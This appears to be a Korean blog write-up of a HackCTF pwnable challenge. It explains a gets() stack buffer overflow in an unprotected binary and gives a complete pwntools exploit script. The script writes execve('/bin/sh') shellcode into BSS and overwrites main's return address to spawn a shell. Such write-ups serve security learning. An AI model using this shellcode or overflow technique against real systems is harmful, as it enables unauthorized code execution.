미친해커

[HackCTF] Pwnable : 내 버퍼가 흘러넘친다!!! (prob1) 본문

Hacking/HackCTF

[HackCTF] Pwnable : 내 버퍼가 흘러넘친다!!! (prob1)

미친해커 2021. 6. 17. 13:47
반응형

IDA로 디스어셈블을 한번 해보자

이번에는 main 함수 외에 다른 함수는 보이지 않는다. 지역변수 s가 20 (0x14) 바이트 할당이 되어 있고 name은 전역변수로 BSS 영역에 할당되어 있다. gets 함수에서 Buffer OverFlow가 발생 main 함수의 ret 주소를 조작할 수 있을 것으로 보인다.

적용된 보호 기법을 확인해보니 바이너리에는 아무런 보호 기법도 적용되어 있지 않다. 그렇다는 건 바이너리 내에 모든 영역에 읽기, 쓰기, 실행 권한이 존재하며 주소도 변하지 않는다는 말이다.

위와 같이 read 함수가 실행되었을 때 shellcode 코드를 BSS 영역에 작성한다.

그 후 gets 함수에서 Buffer OverFlow를 발생시켜 main 함수의 ret 주소를 BSS (name) 주소로 덮어쓴다. 그러면 main 함수가 끝날 때 BSS 주소로 점프하여 shellcode가 실행되면서 Shell을 따낼 수 있게 된다. exploit 코드는 이렇게 된다.

# file : prob1.py
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3003)
e = ELF('prob1')

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

print(p.recvrepeat(1))
p.sendline(shellcode)

BSS = p32(e.bss())
payload = 'A' * 24 + BSS

print(p.recvrepeat(1))
p.sendline(payload)
p.interactive()

Shell이 열리면서 flag를 딸 수 있다.

 

이번 문제는 checksec을 활용하여 바이너리에 적용된 보호 기법을 확인하고 보호 기법에 맞춰서 공격을 진행하는 문제였다. 이처럼 shellcode를 삽입하고 ret 주소를 shellcode가 삽입된 주소로 덮어씌워 Shell 따내는 공격 방법도 있다는 것을 잊지 않기를 바란다.

반응형
Comments